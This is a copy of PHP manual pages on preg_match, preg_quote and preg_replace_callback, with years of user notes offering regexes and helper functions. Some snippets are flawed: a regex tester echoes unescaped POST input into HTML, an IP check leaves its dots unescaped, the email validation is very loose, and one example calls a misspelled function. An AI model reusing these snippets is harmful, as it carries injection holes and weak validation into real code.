else echo "did not get to page 1\n";

if(preg_match($pattern, $page2, $matches)) echo "got to page 2. match: [".print_r($matches, true)."]\n";
else echo "did not get to page 2\n";

?>
MrBull 20-Mar-2011 04:32
Sometimes its useful to negate a string. The first method which comes to mind to do this is: [^(string)] but this of course won't work. There is a solution, but it is not very well known. This is the simple piece of code on how a negation of a string is done:

(?:(?!string).)

?: makes a subpattern (see http://www.php.net/manual/en/regexp.reference.subpatterns.php) and ?! is a negative look ahead. You put the negative look ahead in front of the dot because you want the regex engine to first check if there is an occurrence of the string you are negating. Only if it is not there, you want to match an arbitrary character.

Hope this helps some ppl.
arash dot hemmat at gmail dot com 03-Feb-2011 04:15
For those who search for a unicode regular expression example using preg_match here it is:

Check for Persian digits
preg_match( "/[^\x{06F0}-\x{06F9}\x]+/u" , '۱۲۳۴۵۶۷۸۹۰' );
Frank 26-Jan-2011 09:12
If someone is from a country that accepts decimal numbers in format 9.00 and 9,00 (point or comma), number validation would be like that:
<?php
$number_check = "9,99";
if (preg_match( '/^[\-+]?[0-9]*\.*\,?[0-9]+$/', $number_check)) {
    return TRUE;
}
?>

However, if the number will be written in the database, most probably this comma needs to be replaced with a dot.
This can be done with use of str_replace, i.e :
<?php
$number_database = str_replace("," , "." , $number_check);
?>
sainnr at gmail dot com 30-Dec-2010 03:12
This sample regexp may be useful if you are working with DB field types.

(?P<type>\w+)($|\((?P<length>(\d+|(.*)))\))

For example, if you are have a such type as "varchar(255)" or "text", the next fragment

<?php
   $type = 'varchar(255)';  // type of field
   preg_match('/(?P<type>\w+)($|\((?P<length>(\d+|(.*)))\))/', $type, $field);
   print_r($field);
?>

will output something like this:
Array ( [0] => varchar(255) [type] => varchar [1] => varchar [2] => (255) [length] => 255 [3] => 255 [4] => 255 )
ian_channing at hotmail dot com 27-Dec-2010 10:55
When trying to check a file path that could be windows or unix it took me quite a few tries to get the escape characters right.

The Unix directory separator must be escaped once and the windows directory separator must be escaped twice.

This will match path/to/file and path\to\file.exe

preg_match('/^[a-z0-9_.\/\\\]*$/i', $file_string);
SoN9ne at gmail dot com 08-Jun-2010 07:10
I have been working on a email system that will automatically generate a text email from a given HTML email by using strip_tags().
The only issue I ran into, for my needs, were that the anchors would not keep their links.
I search for a little while and could not find anything to strip the links from the tags so I generated my own little snippet.
I am posting it here in hopes that others may find it useful and for later reference.

A note to keep in mind:
I was primarily concerned with valid HTML so if attributes do no use ' or " to contain the values then this will need to be tweaked.
If you can edit this to work better, please let me know.
<?php
/**
 * Replaces anchor tags with text
 * - Will search string and replace all anchor tags with text (case insensitive)
 *
 * How it works:
 * - Searches string for an anchor tag, checks to make sure it matches the criteria
 *         Anchor search criteria:
 *             - 1 - <a (must have the start of the anchor tag )
 *             - 2 - Can have any number of spaces or other attributes before and after the href attribute
 *             - 3 - Must close the anchor tag
 *
 * - Once the check has passed it will then replace the anchor tag with the string replacement
 * - The string replacement can be customized
 *
 * Know issue:
 * - This will not work for anchors that do not use a ' or " to contain the attributes.
 *         (i.e.- <a href=http: //php.net>PHP.net</a> will not be replaced)
 */
function replaceAnchorsWithText($data) {
    /**
     * Had to modify $regex so it could post to the site... so I broke it into 6 parts.
     */
    $regex  = '/(<a\s*'; // Start of anchor tag
    $regex .= '(.*?)\s*'; // Any attributes or spaces that may or may not exist
    $regex .= 'href=[\'"]+?\s*(?P<link>\S+)\s*[\'"]+?'; // Grab the link
    $regex .= '\s*(.*?)\s*>\s*'; // Any attributes or spaces that may or may not exist before closing tag
    $regex .= '(?P<name>\S+)'; // Grab the name
    $regex .= '\s*<\/a>)/i'; // Any number of spaces between the closing anchor tag (case insensitive)

    if (is_array($data)) {
        // This is what will replace the link (modify to you liking)
        $data = "{$data['name']}({$data['link']})";
    }
    return preg_replace_callback($regex, 'replaceAnchorsWithText', $data);
}

$input  = 'Test 1: <a href="http: //php.net1">PHP.NET1</a>.<br />';
$input .= 'Test 2: <A name="test" HREF=\'HTTP: //PHP.NET2\' target="_blank">PHP.NET2</A>.<BR />';
$input .= 'Test 3: <a hRef=http: //php.net3>php.net3</a><br />';
$input .= 'This last line had nothing to do with any of this';

echo replaceAnchorsWithText($input).'<hr/>';
?>
Will output:
Test 1: PHP.NET1(http: //php.net1).
Test 2: PHP.NET2(HTTP: //PHP.NET2).
Test 3: php.net3 (is still an anchor)
This last line had nothing to do with any of this

Posting to this site is painful...
Had to break up the regex and had to break the test links since it was being flagged as spam...
teracci2002 09-Apr-2010 06:00
When you use preg_match() for security purpose or huge data processing,
mayby you should make consideration for backtrack_limit and recursion_limit.
http://www.php.net/manual/en/pcre.configuration.php

These limits may bring wrong matching result.
You can verify whether you hit these limits by checking preg_last_error().
http://www.php.net/manual/en/function.preg-last-error.php
Kae Cyphet 18-Mar-2010 03:29
for those coming over from ereg, preg_match can be quite intimidating. to get started here is a migration tip.

<?php
if(ereg('[^0-9A-Za-z]',$test_string)) // will be true if characters arnt 0-9, A-Z or a-z.

if(preg_match('/[^0-9A-Za-z]/',$test_string)) // this is the preg_match version. the /'s are now required.
?>
plasma 22-Feb-2010 01:53
To extract scheme, host, path, ect. simply use

<?php

  $url  = 'http://name:pass@';
  $url .= 'example.com:10000';
  $url .= '/path/to/file.php?a=1&amp;b=2#anchor';

  $url_data = parse_url ( $url );

  print_r ( $url_data );

?>
___
prints out something like:

Array
(
    [scheme] => http
    [host] => wild.subdomain.orgy.domain.co.uk
    [port] => 10000
    [user] => name
    [pass] => pass
    [path] => /path/to/file.php
    [query] => a=1&b=2
    [fragment] => anchor
)

In my tests parse_url is up to 15x faster than preg_match(_all)!
Dr@ke 18-Feb-2010 04:58
Hello,
There is a bug with somes new PCRE versions (like:7.9 2009-04-1),
In patterns:
\w+ !== [a-zA-Z0-9]+

But it's ok, if i replace \w+ by [a-z0-9]+ or [a-zA-Z0-9]+
saberdream at live dot fr 11-Feb-2010 12:53
I made a function to circumvent the problem of length of a string... This verifies that the link is an image.

<?php
function verifiesimage($lien, $limite) {
    if( preg_match('#^http:\/\/(.*)\.(gif|png|jpg)$#i', $lien) && strlen($lien) < $limite )
    {
        $msg = TRUE; // link ok
    }
    else
    {
        $msg = FALSE; // the link isn't image
    }
    return $msg; // return TRUE or FALSE
}
?>

Example :

<?php
if(verifierimage($votrelien, 50) == TRUE)
{
    // we display the content...
}
?>
Anonymous 06-Feb-2010 05:00
The regular expression for breaking-down a URI reference into its components:

      ^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?
       12            3  4          5       6  7        8 9

Source: ietf.org/rfc/rfc2396.txt
cebelab at gmail dot com 24-Jan-2010 07:43
I noticed that in order to deal with UTF-8 texts, without having to recompile php with the PCRE UTF-8 flag enabled, you can just add the following sequence at the start of your pattern: (*UTF8)

for instance : '#(*UTF8)[[:alnum:]]#' will return TRUE for 'é' where '#[[:alnum:]]#' will return FALSE

found this very very useful tip after hours of research over the web directly in pcre website right here : http://www.pcre.org/pcre.txt
there are many further informations about UTF-8 support in the lib

hop that will help!

--
cedric
Stefan 17-Nov-2009 11:47
I spent a while replacing all my ereg() calls to preg_match(), since ereg() is now deprecated and will not be supported as of v 6.0.

Just a warning regarding the conversion, the two functions behave very similarly, but not exactly alike. Obviously, you will need to delimit your pattern with '/' or '|' characters.

The difference that stumped me was that preg_replace overwrites the $matches array regardless if a match was found. If no match was found, $matches is simply empty.

ereg(), however, would leave $matches alone if a match was not found. In my code, I had repeated calls to ereg, and was populating $matches with each match. I was only interested in the last match. However, with preg_match, if the very last call to the function did not result in a match, the $matches array would be overwritten with a blank value.

Here is an example code snippet to illustrate:

<?php
$test = array('yes','no','yes','no','yes','no');

foreach ($test as $key=>$value) {
  ereg("yes",$value,$matches1);
  preg_match("|yes|",$value,$matches2);
}
  print "ereg result: $matches1[0]<br>";
  print "preg_match result: $matches2[0]<br>";
?>

The output is:
ereg result: yes
preg_match result:

($matches2[0] in this case is empty)

I believe the preg_match behavior is cleaner. I just thought I would report this to hopefully save others some time.
ruakuu at NOSPAM dot com 04-Nov-2009 06:32
Was working on a site that needed japanese and alphabetic letters and needed to
validate input using preg_match, I tried using \p{script} but didn't work:

<?php
$pattern ='/^([-a-zA-Z0-9_\p{Katakana}\p{Hiragana}\p{Han}]*)$/u'; // Didn't work
?>

So I tried with ranges and it worked:

<?php
$pattern ='/^[-a-zA-Z0-9_\x{30A0}-\x{30FF}'
         .'\x{3040}-\x{309F}\x{4E00}-\x{9FBF}\s]*$/u';
$match_string = '印刷最安 ニキビ跡除去 ゲームボーイ';

if (preg_match($pattern, $match_string)) {
    echo "Found - pattern $pattern";
} else {
    echo "Not found - pattern $pattern";
}
?>

U+4E00–U+9FBF Kanji
U+3040–U+309F Hiragana
U+30A0–U+30FF Katakana

Hope its useful, it took me several hours to figure it out.
Anonymous 12-Oct-2009 11:24
If your regular expression does not match with long input text when you think it should, you might have hit the PCRE backtrack default limit of 100000. See http://php.net/pcre.backtrack-limit.
splattermania at freenet dot de 01-Oct-2009 02:01
As I wasted lots of time finding a REAL regex for URLs and resulted in building it on my own, I now have found one, that seems to work for all kinds of urls:

<?php
    $regex = "((https?|ftp)\:\/\/)?"; // SCHEME
    $regex .= "([a-z0-9+!*(),;?&=\$_.-]+(\:[a-z0-9+!*(),;?&=\$_.-]+)?@)?"; // User and Pass
    $regex .= "([a-z0-9-.]*)\.([a-z]{2,3})"; // Host or IP
    $regex .= "(\:[0-9]{2,5})?"; // Port
    $regex .= "(\/([a-z0-9+\$_-]\.?)+)*\/?"; // Path
    $regex .= "(\?[a-z+&\$_.-][a-z0-9;:@&%=+\/\$_.-]*)?"; // GET Query
    $regex .= "(#[a-z_.-][a-z0-9+\$_.-]*)?"; // Anchor
?>

Then, the correct way to check against the regex ist as follows:

<?php
       if(preg_match("/^$regex$/", $url))
       {
               return true;
       }
?>
luc _ santeramo at t yahoo dot com 03-Sep-2009 04:46
If you want to validate an email in one line, use filter_var() function !
http://fr.php.net/manual/en/function.filter-var.php

easy use, as described in the document example :
var_dump(filter_var('bob@example.com', FILTER_VALIDATE_EMAIL));
marcosc at tekar dot net 27-Aug-2009 06:31
When using accented characters and "ñ" (áéíóúñ), preg_match does not work. It is a charset problem, use utf8_decode/decode to fix.
ian_channing at hotmail dot com 20-Aug-2009 03:13
This is a function that uses regular expressions to match against the various VAT formats required across the EU.

<?php
/**
 * @param integer $country Country name
 * @param integer $vat_number VAT number to test e.g. GB123 4567 89
 * @return integer -1 if country not included OR 1 if the VAT Num matches for the country OR 0 if no match
*/
function checkVatNumber( $country, $vat_number ) {
    switch($country) {
        case 'Austria':
            $regex = '/^(AT){0,1}U[0-9]{8}$/i';
            break;
        case 'Belgium':
            $regex = '/^(BE){0,1}[0]{0,1}[0-9]{9}$/i';
            break;
        case 'Bulgaria':
            $regex = '/^(BG){0,1}[0-9]{9,10}$/i';
            break;
        case 'Cyprus':
            $regex = '/^(CY){0,1}[0-9]{8}[A-Z]$/i';
            break;
        case 'Czech Republic':
            $regex = '/^(CZ){0,1}[0-9]{8,10}$/i';
            break;
        case 'Denmark':
            $regex = '/^(DK){0,1}([0-9]{2}[\ ]{0,1}){3}[0-9]{2}$/i';
            break;
        case 'Estonia':
        case 'Germany':
        case 'Greece':
        case 'Portugal':
            $regex = '/^(EE|EL|DE|PT){0,1}[0-9]{9}$/i';
            break;
        case 'France':
            $regex = '/^(FR){0,1}[0-9A-Z]{2}[\ ]{0,1}[0-9]{9}$/i';
            break;
        case 'Finland':
        case 'Hungary':
        case 'Luxembourg':
        case 'Malta':
        case 'Slovenia':
            $regex = '/^(FI|HU|LU|MT|SI){0,1}[0-9]{8}$/i';
            break;
        case 'Ireland':
            $regex = '/^(IE){0,1}[0-9][0-9A-Z\+\*][0-9]{5}[A-Z]$/i';
            break;
        case 'Italy':
        case 'Latvia':
            $regex = '/^(IT|LV){0,1}[0-9]{11}$/i';
            break;
        case 'Lithuania':
            $regex = '/^(LT){0,1}([0-9]{9}|[0-9]{12})$/i';
            break;
        case 'Netherlands':
            $regex = '/^(NL){0,1}[0-9]{9}B[0-9]{2}$/i';
            break;
        case 'Poland':
        case 'Slovakia':
            $regex = '/^(PL|SK){0,1}[0-9]{10}$/i';
            break;
        case 'Romania':
            $regex = '/^(RO){0,1}[0-9]{2,10}$/i';
            break;
        case 'Sweden':
            $regex = '/^(SE){0,1}[0-9]{12}$/i';
            break;
        case 'Spain':
            $regex = '/^(ES){0,1}([0-9A-Z][0-9]{7}[A-Z])|([A-Z][0-9]{7}[0-9A-Z])$/i';
            break;
        case 'United Kingdom':
            $regex = '/^(GB){0,1}([1-9][0-9]{2}[\ ]{0,1}[0-9]{4}[\ ]{0,1}[0-9]{2})|([1-9][0-9]{2}[\ ]{0,1}[0-9]{4}[\ ]{0,1}[0-9]{2}[\ ]{0,1}[0-9]{3})|((GD|HA)[0-9]{3})$/i';
            break;
        default:
            return -1;
            break;
    }

    return preg_match($regex, $vat_number);
}
?>
Rob 19-Aug-2009 09:03
The following function works well for validating ip addresses

<?php
function valid_ip($ip) {
    return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])" .
            "(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $ip);
}
?>
KOmaSHOOTER at gmx dot de 09-Aug-2009 03:12
reading files from a dir without "." or ".."
<?php
$handle = opendir('content/pages/');
$pages = array();
while (false !== ($file = readdir($handle))) {
      $case=preg_match("/^[.]/",$file,$out, PREG_OFFSET_CAPTURE);
      //echo($case);
      if(!$case){
       echo("$file<br />");
       array_push($pages,$file);
       }
}
echo(count($pages));
?>
matt 08-May-2009 10:07
To support large Unicode ranges (ie: [\x{E000}-\x{FFFD}] or \x{10FFFFF}) you must use the modifier '/u' at the end of your expression.
daniel dot chcouri at gmail dot com 03-May-2009 03:09
Html tags delete using regular expression

<?php
function removeHtmlTagsWithExceptions($html, $exceptions = null){
    if(is_array($exceptions) && !empty($exceptions))
    {
        foreach($exceptions as $exception)
        {
            $openTagPattern  = '/<(' . $exception . ')(\s.*?)?>/msi';
            $closeTagPattern = '/<\/(' . $exception . ')>/msi';

            $html = preg_replace(
                array($openTagPattern, $closeTagPattern),
                array('||l|\1\2|r||', '||l|/\1|r||'),
                $html
            );
        }
    }

    $html = preg_replace('/<.*?>/msi', '', $html);

    if(is_array($exceptions))
    {
        $html = str_replace('||l|', '<', $html);
        $html = str_replace('|r||', '>', $html);
    }

    return $html;
}

// example:
print removeHtmlTagsWithExceptions(<<<EOF
<h1>Whatsup?!</h1>
Enjoy <span style="text-color:blue;">that</span> script<br />
<br />
EOF
, array('br'));
?>
corey [works at] effim [delete] .com 25-Apr-2009 05:52
I see a lot of people trying to put together phone regex's and struggling (hey, no worries...they're complicated). Here's one that we use that's pretty nifty. It's not perfect, but it should work for most non-idealists.

*** Note: Only matches U.S. phone numbers. ***

<?php

// all on one line...
$regex = '/^(?:1(?:[. -])?)?(?:\((?=\d{3}\)))?([2-9]\d{2})(?:(?<=\(\d{3})\))? ?(?:(?<=\d{3})[.-])?([2-9]\d{2})[. -]?(\d{4})(?: (?i:ext)\.? ?(\d{1,5}))?$/';

// or broken up
$regex = '/^(?:1(?:[. -])?)?(?:\((?=\d{3}\)))?([2-9]\d{2})'
        .'(?:(?<=\(\d{3})\))? ?(?:(?<=\d{3})[.-])?([2-9]\d{2})'
        .'[. -]?(\d{4})(?: (?i:ext)\.? ?(\d{1,5}))?$/';

?>

If you're wondering why all the non-capturing subpatterns (which look like this "(?:", it's so that we can do this:

<?php

$formatted = preg_replace($regex, '($1) $2-$3 ext. $4', $phoneNumber);

// or, provided you use the $matches argument in preg_match

$formatted = "($matches[1]) $matches[2]-$matches[3]";
if ($matches[4]) $formatted .= " $matches[4]";

?>

*** Results: ***
520-555-5542 :: MATCH
520.555.5542 :: MATCH
5205555542 :: MATCH
520 555 5542 :: MATCH
520) 555-5542 :: FAIL
(520 555-5542 :: FAIL
(520)555-5542 :: MATCH
(520) 555-5542 :: MATCH
(520) 555 5542 :: MATCH
520-555.5542 :: MATCH
520 555-0555 :: MATCH
(520)5555542 :: MATCH
520.555-4523 :: MATCH
19991114444 :: FAIL
19995554444 :: MATCH
514 555 1231 :: MATCH
1 555 555 5555 :: MATCH
1.555.555.5555 :: MATCH
1-555-555-5555 :: MATCH
520-555-5542 ext.123 :: MATCH
520.555.5542 EXT 123 :: MATCH
5205555542 Ext. 7712 :: MATCH
520 555 5542 ext 5 :: MATCH
520) 555-5542 :: FAIL
(520 555-5542 :: FAIL
(520)555-5542 ext .4 :: FAIL
(512) 555-1234 ext. 123 :: MATCH
1(555)555-5555 :: MATCH
daevid at daevid dot com 07-Mar-2009 12:18
I just learned about named groups from a Python friend today and was curious if PHP supported them, guess what -- it does!!!

http://www.regular-expressions.info/named.html

<?php
   preg_match("/(?P<foo>abc)(.*)(?P<bar>xyz)/",
                       'abcdefghijklmnopqrstuvwxyz',
                       $matches);
   print_r($matches);
?>

will produce:

Array
(
    [0] => abcdefghijklmnopqrstuvwxyz
    [foo] => abc
    [1] => abc
    [2] => defghijklmnopqrstuvw
    [bar] => xyz
    [3] => xyz
)

Note that you actually get the named group as well as the numerical key
value too, so if you do use them, and you're counting array elements, be
aware that your array might be bigger than you initially expect it to be.
wjaspers4 [at] gmail [dot] com 28-Feb-2009 12:16
I recently encountered a problem trying to capture multiple instances of named subpatterns from filenames.
Therefore, I came up with this function.

The function allows you to pass through flags (in this version it applies to all expressions tested), and generates an array of search results.

Enjoy!

<?php

/**
 * Allows multiple expressions to be tested on one string.
 * This will return a boolean, however you may want to alter this.
 *
 * @author William Jaspers, IV <wjaspers4@gmail.com>
 * @created 2009-02-27 17:00:00 +6:00:00 GMT
 * @access public
 *
 * @param array $patterns An array of expressions to be tested.
 * @param String $subject The data to test.
 * @param array $findings Optional argument to store our results.
 * @param mixed $flags Pass-thru argument to allow normal flags to apply to all tested expressions.
 * @param array $errors A storage bin for errors
 *
 * @returns bool Whether or not errors occurred.
 */
function preg_match_multiple(
  array $patterns=array(),
  $subject=null,
  &$findings=array(),
  $flags=false,
  &$errors=array()
) {
  foreach( $patterns as $name => $pattern )
  {
    if( 1 <= preg_match_all( $pattern, $subject, $found, $flags ) )
    {
      $findings[$name] = $found;
    } else
    {
      if( PREG_NO_ERROR !== ( $code = preg_last_error() ))
      {
        $errors[$name] = $code;
      } else $findings[$name] = array();
    }
  }
  return (0===sizeof($errors));
}
?>
skds1433 at hotmail dot com 19-Feb-2009 03:41
here is a small tool for someone learning to use regular expressions. it's very basic, and allows you to try different patterns and combinations. I made it to help me, because I like to try different things, to get a good understanding of how things work.

<?php
$search = isset($_POST['search'])?$_POST['search']:"//";
$match = isset($_POST['match'])?$_POST['match']:"<>";

echo '<form method="post">';
echo 's: <input style="width:400px;" name="search" type="text" value="'.$search.'" /><br />';
echo 'm:<input style="width:400px;" name="match" type="text" value="'.$match.'" /><input type="submit" value="go" /></form><br />';
if (preg_match($search, $match)){echo "matches";}else{echo "no match";}
?>
akniep at rayo dot info 30-Jan-2009 12:05
Bugs of preg_match (PHP-version 5.2.5)

In most cases, the following example will show one of two PHP-bugs discovered with preg_match depending on your PHP-version and configuration.

<?php

$text = "test=";
// creates a rather long text
for ($i = 0; $i++ < 100000;)
    $text .= "%AB";

// a typical URL_query validity-checker (the pattern's function does not matter for this example)
$pattern    = '/^(?:[;\/?:@&=+$,]|(?:[^\W_]|[-_.!~*\()\[\] ])|(?:%[\da-fA-F]{2}))*$/';

var_dump( preg_match( $pattern, $text ) );

?>

Possible bug (1):
=============
On one of our Linux-Servers the above example crashes PHP-execution with a C(?) Segmentation Fault(!). This seems to be a known bug (see http://bugs.php.net/bug.php?id=40909), but I don't know if it has been fixed, yet.
If you are looking for a work-around, the following code-snippet is what I found helpful. It wraps the possibly crashing preg_match call by decreasing the PCRE recursion limit in order to result in a Reg-Exp error instead of a PHP-crash.

<?php
[...]

// decrease the PCRE recursion limit for the (possibly dangerous) preg_match call
$former_recursion_limit = ini_set( "pcre.recursion_limit", 10000 );

// the wrapped preg_match call
$result = preg_match( $pattern, $text );

// reset the PCRE recursion limit to its original value
ini_set( "pcre.recursion_limit", $former_recursion_limit );

// if the reg-exp fails due to the decreased recursion limit we may not make any statement, but PHP-execution continues
if ( PREG_RECURSION_LIMIT_ERROR === preg_last_error() )
{
    // react on the failed regular expression here
    $result = [...];

    // do logging or email-sending here
    [...]
} //if

?>

Possible bug (2):
=============
On one of our Windows-Servers the above example does not crash PHP, but (directly) hits the recursion-limit. Here, the problem is that preg_match does not return boolean(false) as expected by the description / manual of above.
In short, preg_match seems to return an int(0) instead of the expected boolean(false) if the regular expression could not be executed due to the PCRE recursion-limit. So, if preg_match results in int(0) you seem to have to check preg_last_error() if maybe an error occurred.
Alex Zinchenko 11-Dec-2008 03:15
If you need to check whether string is a serialized representation of variable(sic!) you can use this :

<?php

$string = "a:0:{}";
if(preg_match("/(a|O|s|b)\x3a[0-9]*?
((\x3a((\x7b?(.+)\x7d)|(\x22(.+)\x22\x3b)))|(\x3b))/", $string))
{
echo "Serialized.";
}
else
{
echo "Not serialized.";
}

?>

But don't forget, string in serialized representation could be VERY big,
so match work can be slow, even with fast preg_* functions.
phil dot taylor at gmail dot com 23-Oct-2008 02:01
If you need to check for .com.br and .com.au and .uk and all the other crazy domain endings i found the following expression works well if you want to validate an email address. Its quite generous in what it will allow

<?php

        $email_address = "phil.taylor@a_domain.tv";

    if (preg_match("/^[^@]*@[^@]*\.[^@]*$/", $email_address)) {
        return "E-mail address";
    }

?>
Steve Todorov 03-Oct-2008 03:23
While I was reading the preg_match documentation I didn't found how to match an IP..
Let's say you need to make a script that is working with ip/host and you want to show the hostname - not the IP.

Well this is the way to go:

<?php
/* This is an ip that is "GET"/"POST" from somewhere */
$ip = $_POST['ipOrHost'];

if(preg_match('/(\d+).(\d+).(\d+).(\d+)/',$ip))
  $host = gethostbyaddr($ip);
else
  $host = gethostbyname($ip);

echo $host;
?>

This is a really simple script made for beginners !
If you'd like you could add restriction to the numbers.
The code above will accept all kind of numbers and we know that IP address could be MAX 255.255.255.255 and the example accepts to 999.999.999.999.

Wish you luck!

Best wishes,
Steve
Ashus 12-Sep-2008 05:18
If you need to match specific wildcards in IP address, you can use this regexp:

<?php

$ip = '10.1.66.22';
$cmp = '10.1.??.*';

$cnt = preg_match('/^'
     .str_replace(
     array('\*','\?'),
     array('(.*?)','[0-9]'),
     preg_quote($cmp)).'$/',
     $ip);

echo $cnt;

?>

where '?' is exactly one digit and '*' is any number of any characters. $cmp mask can be provided wild by user, $cnt equals (int) 1 on match or 0.
wjaspers4[at]gmail[dot]com 28-Aug-2008 04:55
I found this rather useful for testing mutliple strings when developing a regex pattern.
<?php
/**
 * Runs preg_match on an array of strings and returns a result set.
 * @author wjaspers4[at]gmail[dot]com
 * @param String $expr The expression to match against
 * @param Array $batch The array of strings to test.
 * @return Array
 */
function preg_match_batch( $expr, $batch=array() )
{
// create a placeholder for our results
    $returnMe = array();

// for every string in our batch ...
    foreach( $batch as $str )
    {
// test it, and dump our findings into $found
        preg_match($expr, $str, $found);

// append our findings to the placeholder
        $returnMe[$str] = $found;
    }

    return $returnMe;
}
?>
Dino Korah AT webroot DOT com 09-Jul-2008 01:11
preg_match and preg_replace_callback doesnt match up in the structure of the array that they fill-up for a match.
preg_match, as the example shows, supports named patterns, whereas preg_replace_callback doesnt seem to support it at all. It seem to ignore any named pattern matched.
jonathan dot lydall at gmail dot removethispart dot com 26-May-2008 09:50
Because making a truly correct email validation function is harder than one may think, consider using this one which comes with PHP through the filter_var function (http://www.php.net/manual/en/function.filter-var.php):

<?php
$email = "someone@domain .local";

if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    echo "E-mail is not valid";
} else {
    echo "E-mail is valid";
}
?>


Quote regular expression characters

  • « preg_match
  • preg_replace_callback »
  • PHP Manual
  • PCRE Functions
  • Quote regular expression characters

preg_quote

(PHP 4, PHP 5)

preg_quote — Quote regular expression characters

Description

string preg_quote ( string $str [, string $delimiter = NULL ] )

preg_quote() takes str and puts a backslash in front of every character that is part of the regular expression syntax. This is useful if you have a run-time string that you need to match in some text and the string may contain special regex characters.

The special regular expression characters are: . \ + * ? [ ^ ] $ ( ) { } = ! < > | : -

Parameters

str

The input string.

delimiter

If the optional delimiter is specified, it will also be escaped. This is useful for escaping the delimiter that is required by the PCRE functions. The / is the most commonly used delimiter.

Return Values

Returns the quoted (escaped) string.

Changelog

Version | Description
5.3.0 | The - character is now quoted

Examples

Example #1 preg_quote() example

<?php
$keywords = '$40 for a g3/400';
$keywords = preg_quote($keywords, '/');
echo $keywords; // returns \$40 for a g3\/400
?>

Example #2 Italicizing a word within some text

<?php
// In this example, preg_quote($word) is used to keep the
// asterisks from having special meaning to the regular
// expression.

$textbody = "This book is *very* difficult to find.";
$word = "*very*";
$textbody = preg_replace ("/" . preg_quote($word) . "/",
                          "<i>" . $word . "</i>",
                          $textbody);
?>

Notes

Note: This function is binary-safe.

See Also

  • PCRE Patterns
  • escapeshellcmd() - Escape shell metacharacters

User Contributed Notes

ian at broster dot co dot uk 08-Sep-2014 11:22
Note that slash '/' is not one of the special characters, the italic writing of the list above makes pipe '|' look like '/'.
zooly 21-Jul-2009 10:07
To escape characters with special meaning, like: .-[]() and so on, use \Q and \E.

For example:

<?php echo ( preg_match('/^'.( $myvar = 'te.t' ).'$/i', 'test') ? 'match' : 'nomatch' ); ?>

Will result in: match

But:

<?php echo ( preg_match('/^\Q'.( $myvar = 'te.t' ).'\E$/i', 'test') ? 'match' : 'nomatch' ); ?>

Will result in: nomatch
frostschutz 20-Mar-2009 11:01
I wanted to escape a string of characters so I could match them in [], i.e. [.,-!"§$%\\\[\]\^].

Unfortunately preg_quote does not escape the - character which has a special meaning in [], i.e. [a-z].

So I used this hack: make - the delimiter of the expression, i.e.

preg_quote(userinput, "-")
preg_replace("-[$userinput]-u", "", $str)

Apparently using a special char as a delimiter of a regular expression disables this character, i.e. even if it's escaped it's not understood as special character for the expression anymore.

so the pattern "-[a\\-z]-u" matches the characters a, - and z, and not abc...xyz.

It would be nice if preg_quote also escaped characters that have special meanings even if they have this meaning only under certain conditions, such as inside [].
krishoog at gmail dot com 13-Oct-2008 04:51
To bizzigul at hotmail dot fr:
It's not a good practice to make somthing work *almost* all of the time. If the input contains a '`' you will still get an error. I recommend using the default delimiter ('/') and also feed this to preg_quote as second argument.
bizzigul at hotmail dot fr 30-Jul-2008 06:10
To prevent any problems, try to always use a delimiter that will *almost* not be used inside the regex, such as ` (back quote)

for example: instead of
<?php preg_match('/foo\/bar\//',$somevar); ?>

use

<?php preg_match('`foo/bar/`',$somevar); ?>

it's that simple! like this, you won't have to bother with delimiters anymore...
Anonymous 27-Dec-2007 12:13
Wondering why your preg_replace fails, even if you have used preg_quote?

Try adding the delimiter / - preg_quote($string, '/');


Perform a regular expression search and replace using a callback

  • « preg_quote
  • preg_replace »
  • PHP Manual
  • PCRE Functions
  • Perform a regular expression search and replace using a callback

preg_replace_callback

(PHP 4 >= 4.0.5, PHP 5)

preg_replace_callback — Perform a regular expression search and replace using a callback

Description

mixed preg_replace_callback ( mixed $pattern , callable $callback , mixed $subject [, int $limit = -1 [, int &$count ]] )

The behavior of this function is almost identical to preg_replace(), except for the fact that instead of replacement parameter, one should specify a callback.

Parameters

pattern

The pattern to search for. It can be either a string or an array with strings.

callback

A callback that will be called and passed an array of matched elements in the subject string. The callback should return the replacement string. This is the callback signature:

string handler ( array $matches )

You'll often need the callback function for a preg_replace_callback() in just one place. In this case you can use an anonymous function to declare the callback within the call to preg_replace_callback(). By doing it this way you have all information for the call in one place and do not clutter the function namespace with a callback function's name not used anywhere else.

Example #1 preg_replace_callback() and anonymous function

<?php
/* a unix-style command line filter to convert uppercase
 * letters at the beginning of paragraphs to lowercase */
$fp = fopen("php://stdin", "r") or die("can't read stdin");
while (!feof($fp)) {
    $line = fgets($fp);
    $line = preg_replace_callback(
        '|<p>\s*\w|',
        function ($matches) {
            return strtolower($matches[0]);
        },
        $line
    );
    echo $line;
}
fclose($fp);
?>

subject

The string or an array with strings to search and replace.

limit

The maximum possible replacements for each pattern in each subject string. Defaults to -1 (no limit).

count

If specified, this variable will be filled with the number of replacements done.

Return Values

preg_replace_callback() returns an array if the subject parameter is an array, or a string otherwise. On errors the return value is NULL

If matches are found, the new subject will be returned, otherwise subject will be returned unchanged.

Changelog

Version | Description
5.1.0 | The count parameter was added

Examples

Example #2 preg_replace_callback() example

<?php
// this text was used in 2002
// we want to get this up to date for 2003
$text = "April fools day is 04/01/2002\n";
$text.= "Last christmas was 12/24/2001\n";
// the callback function
function next_year($matches)
{
  // as usual: $matches[0] is the complete match
  // $matches[1] the match for the first subpattern
  // enclosed in '(...)' and so on
  return $matches[1].($matches[2]+1);
}
echo preg_replace_callback(
            "|(\d{2}/\d{2}/)(\d{4})|",
            "next_year",
            $text);

?>

The above example will output:

April fools day is 04/01/2003
Last christmas was 12/24/2002

Example #3 preg_replace_callback() using recursive structure to handle encapsulated BB code

<?php
$input = "plain [indent] deep [indent] deeper [/indent] deep [/indent] plain";

function parseTagsRecursive($input)
{

    $regex = '#\[indent]((?:[^[]|\[(?!/?indent])|(?R))+)\[/indent]#';

    if (is_array($input)) {
        $input = '<div style="margin-left: 10px">'.$input[1].'</div>';
    }

    return preg_replace_callback($regex, 'parseTagsRecursive', $input);
}

$output = parseTagsRecursive($input);

echo $output;
?>

See Also

  • PCRE Patterns
  • preg_replace() - Perform a regular expression search and replace
  • preg_last_error() - Returns the error code of the last PCRE regex execution
  • Anonymous functions
  • information about the callback type

User Contributed Notes

Underdog 07-Feb-2014 12:33
